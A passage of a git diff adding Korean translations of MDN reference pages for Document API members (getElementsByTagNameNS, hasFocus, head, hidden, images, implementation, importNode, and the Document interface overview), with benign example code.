+<p class="note"><strong>노트:</strong> W3C 명세는 <code>elements</code> 를 <code>NodeList</code> 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는<code>NodeList</code> 를 반환하지만 <code>namedItem</code> 메소드를 구현해 <code>HTMLCollection</code> 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 <code>NodeList</code> 를 반환합니다. 자세한 내용은 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> 를 확인하세요.</p>
+
+<p class="note"><strong>노트:</strong> 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 <a href="/ko/docs/Mozilla/Firefox/Releases/3.6#DOM">Firefox 3.6 개발자 릴리즈 노트</a>와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>다음 예시에서 <code>getElementsByTagNameNS</code> 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 <code>name</code> 파라미터에 일치하는 자식 엘리먼트를 찾습니다.</p>
+
+<p><code>getElementByTagName</code> 이 실행된 노드가 <code>document</code> 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.</p>
+
+<p>다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.</p>
+
+<pre class="brush: html">&lt;html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"&gt;
+
+&lt;head&gt;
+&lt;title&gt;getElementsByTagNameNS example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+ var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+ var num = allParas.length;
+
+ alert("There are " + num + " &amp;lt;p&amp;gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+ var div1 = document.getElementById("div1")
+ var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+ var num = div1Paras.length;
+
+ alert("There are " + num + " &amp;lt;p&amp;gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+ var div2 = document.getElementById("div2")
+ var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+ var num = div2Paras.length;
+
+ alert("There are " + num + " &amp;lt;p&amp;gt; elements in div2 element");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+ &lt;div id="div1" style="border: solid blue 3px"&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+
+ &lt;div id="div2" style="border: solid red 3px"&gt;
+ &lt;p&gt;Some div2 text&lt;/p&gt;
+ &lt;p&gt;Some div2 text&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="지원하지_않는_다른_브라우저를_위한_잠재적인_대안">지원하지 않는 다른 브라우저를 위한 잠재적인 대안</h2>
+
+<p>원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 <a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&amp;f=21/10.js">이 래퍼 클래스같은</a> XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)</p>
+
+<pre class="brush: js">function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+ doc = document;
+ }
+ if (!context) {
+ context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+ var a = [];
+ for(var i = 0; i &lt; result.snapshotLength; i++) {
+ a[i] = result.snapshotItem(i);
+ }
+ return a;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByTagNameNS")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{DOMxRef("Element.getElementsByTagNameNS()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..40ec764f1e
--- /dev/null
+++ b/files/ko/web/api/document/getselection/index.html
@@ -0,0 +1,8 @@
+---
+title: Document.getSelection()
+slug: Web/API/Document/getSelection
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.</p>
diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..b41818b736
--- /dev/null
+++ b/files/ko/web/api/document/hasfocus/index.html
@@ -0,0 +1,101 @@
+---
+title: Document.hasFocus()
+slug: Web/API/Document/hasFocus
+tags:
+ - API
+ - DOM
+ - Focus
+ - Method
+ - Reference
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.hasFocus()</strong></code> 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 <code>true, </code>그렇지 않으면<code> false</code>인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.</p>
+
+<div class="note">
+<p>문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre>focused = document.hasFocus();</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 <code>false</code>를 반환, 포커스를 갖고 있다면 <code>true</code>를 반환</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;TEST&lt;/title&gt;
+&lt;style&gt;
+#message { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+setInterval( CheckPageFocus, 200 );
+
+function CheckPageFocus() {
+ var info = document.getElementById("message");
+
+ if ( document.hasFocus() ) {
+ info.innerHTML = "The document has the focus.";
+ } else {
+ info.innerHTML = "The document doesn't have the focus.";
+ }
+}
+
+function OpenWindow() {
+ window.open (
+ "http://developer.mozilla.org/",
+ "mozdev",
+ width=640,
+ height=300,
+ left=150,
+ top=260
+ );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+ &lt;h1&gt;JavaScript hasFocus example&lt;/h1&gt;
+ &lt;div id="message"&gt;Waiting for user action&lt;/div&gt;
+ &lt;div&gt;&lt;button onclick="OpenWindow()"&gt;Open a new window&lt;/button&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.hasFocus")}}</p>
+
+<h2 id="관련_참고">관련 참고</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">페이지 가시성 API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html
new file mode 100644
index 0000000000..6beb5b59a3
--- /dev/null
+++ b/files/ko/web/api/document/head/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+tags:
+ - API
+ - Document
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/Document/head
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>head</code></strong> 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: html"><code>&lt;!doctype html&gt;
+&lt;head id="my-document-head"&gt;
+ &lt;title&gt;Example: using document.head&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script&gt;
+ let theHead = document.head;
+
+ console.log(theHead.id); // "my-document-head";
+ console.log(theHead === document.querySelector("head")); // true
+&lt;/script&gt;</code></pre>
+
+<h2 id="Example" name="Example">참고</h2>
+
+<p><code>Document.head</code>는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>에서는 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.head")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..13c6f0a5da
--- /dev/null
+++ b/files/ko/web/api/document/hidden/index.html
@@ -0,0 +1,26 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+tags:
+ - API
+ - Document
+ - Property
+ - Reference
+translation_of: Web/API/Document/hidden
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.hidden</strong></code> 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+ console.log(document.hidden);
+ // 숨김 여부가 변했을 때의 행동
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html
new file mode 100644
index 0000000000..702ad66bc5
--- /dev/null
+++ b/files/ko/web/api/document/images/index.html
@@ -0,0 +1,52 @@
+---
+title: Document.images
+slug: Web/API/Document/images
+translation_of: Web/API/Document/images
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>document.images</code> 는 현재 HTML document 내부의 <a href="/en-US/docs/DOM/Image" title="DOM/Image">images</a> collection을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>var htmlCollection</em> = document.images;</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var ilist = document.images;
+
+for(var i = 0; i &lt; ilist.length; i++) {
+ if(ilist[i].src == "banner.gif") {
+ // found the banner
+ }
+}</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><code>document.images.length</code> – 페이지의 이미지 갯수를 반환하는 속성</p>
+
+<p><code>document.images </code>는 DOM HTML의 part이며, HTML documents 에서만 지원된다.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}</td>
+ <td>{{ Spec2('DOM2 Events') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html
new file mode 100644
index 0000000000..79b50f451e
--- /dev/null
+++ b/files/ko/web/api/document/implementation/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.implementation
+slug: Web/API/Document/implementation
+tags:
+ - API
+ - DOM
+ - NeedsContent
+ - Property
+ - Reference
+translation_of: Web/API/Document/implementation
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>DOMImpObj</var> = document.implementation;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+</pre>
+
+<p>모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2">Conformance 섹션</a>에서 확인하실 수 있습니다.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 <code>hasFeature</code> 메소드만 명시되어 있습니다(위 예제와 <a href="http://www.w3.org/2003/02/06-dom-support.html">What does your user agent claim to support?</a> 문서를 확인하세요). 사용이 가능한 경우, 다른 <code>DOMImplementation</code> 메소드들이 단일 document 외부의 것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, <code>DOMImplementation</code> 인터페이스는 <code>createDocumentType</code> 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-102161490">DOM Level 2 Core: implementation</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-102161490">DOM Level 3 Core: implementation</a></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.implementation")}}</p>
+
+<h2 id="Gecko-specific_notes">Gecko-specific notes</h2>
+
+<ul>
+ <li>Gecko 19.0 {{geckoRelease("19.0")}}부터 {{domxref("DOMImplementation.hasFeature","hasFeature")}} 메소드는 항상 true를 반환합니다.</li>
+</ul>
diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..18be48039f
--- /dev/null
+++ b/files/ko/web/api/document/importnode/index.html
@@ -0,0 +1,67 @@
+---
+title: Document.importNode()
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">설명</h2>
+
+<p>현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>);
+</pre>
+
+<dl>
+ <dt><code>node</code></dt>
+ <dd>문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode" style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;" title="DOM/Node.parentNode">parentNode</a><span style="line-height: 1.5;">는 null입니다.</span></dd>
+ <dt><code>externalNode</code></dt>
+ <dd>다른 문서에서 가져올 노드입니다.</dd>
+ <dt><code>deep</code></dt>
+ <dd>불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep을 </span><strong style="line-height: 1.5em;"><code style="font-size: 14px;">true</code></strong><code style="font-size: 14px;">로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 <em>deep</em>인자에 false를 주시길 바랍니다.</code></p>
+
+<p><code style="font-size: 14px;">이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. <em>Gecko 28.0 {{geckoRelease(28)}} </em>버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.</code></p>
+</div>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.</p>
+
+<p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p>
+
+<h2 id="브라우저_지원율">브라우저 지원율</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.importNode")}}</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">관련문서</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></li>
+ <li><a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-importnode">DOM4 (draft): Document.importNode</a></li>
+</ul>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html
new file mode 100644
index 0000000000..f26cb7a526
--- /dev/null
+++ b/files/ko/web/api/document/index.html
@@ -0,0 +1,480 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+ - API
+ - DOM
+ - Document
+ - Interface
+ - Reference
+translation_of: Web/API/Document
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Document</code></strong> 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(<a href="/ko/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core">DOM 트리</a>)의 진입점 역할을 수행합니다.</span> DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element">여러 다른</a> 요소를 포함합니다. <code>Document</code>는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.</p>
+
+<p>{{inheritanceDiagram}}</p>
+
+<p><code>Document</code> 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(<a href="/ko/docs/Web/HTML">HTML</a>, <a href="/ko/docs/Web/XML/XML_introduction">XML</a>, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 <code>"text/html"</code> 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Document.Document","Document()")}} {{non-standard_inline}}</dt>
+ <dd>새로운 <code>Document</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Document.anchors")}} {{readonlyinline}}</dt>
+ <dd>문서 내 모든 앵커의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt>
+ <dd>문서에서 사용하는 캐릭터셋을 반환합니다.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.</dd>
+ <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>현재 문서의 MIME 헤더로부터 <code>Content-Type</code>을 반환합니다.</dd>
+ <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.</dd>
+ <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt>
+ <dd>문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.</dd>
+ <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt>
+ <dd>문서의 위치를 문자열로 반환합니다.</dd>
+ <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt>
+ <dd>현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.fonts")}}</dt>
+ <dd>현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.</dd>
+ <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 숨김 여부를 반환합니다.</dd>
+ <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 이미지 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt>
+ <dd>현재 문서와 연관된 DOM 구현을 반환합니다.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 <code>null</code> 값을 갖습니다.</dd>
+ <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt>
+ <dd>문서의 모든 하이퍼링크 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}</dt>
+ <dd>문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt>
+ <dd>사용 가능한 플러그인의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.</dd>
+ <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt>
+ <dd>문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.</dd>
+ <dt>{{domxref("Document.scrollingElement")}} {{readonlyinline}}</dt>
+ <dd>문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>현재 사용 중인 스타일 시트 세트를 반환합니다.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}} {{readonlyinline}}</dt>
+ <dd>문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt>
+ <dd>페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.</dd>
+ <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt>
+ <dd>문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 <code>visible</code>, <code>hidden</code>, <code>prerender</code>, <code>unloaded</code>입니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p>
+
+<p>{{page("/ko/docs/Web/API/ParentNode","속성")}}</p>
+
+<h3 id="HTMLDocument_확장">HTMLDocument 확장</h3>
+
+<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.</dd>
+ <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("Window")}} 객체의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
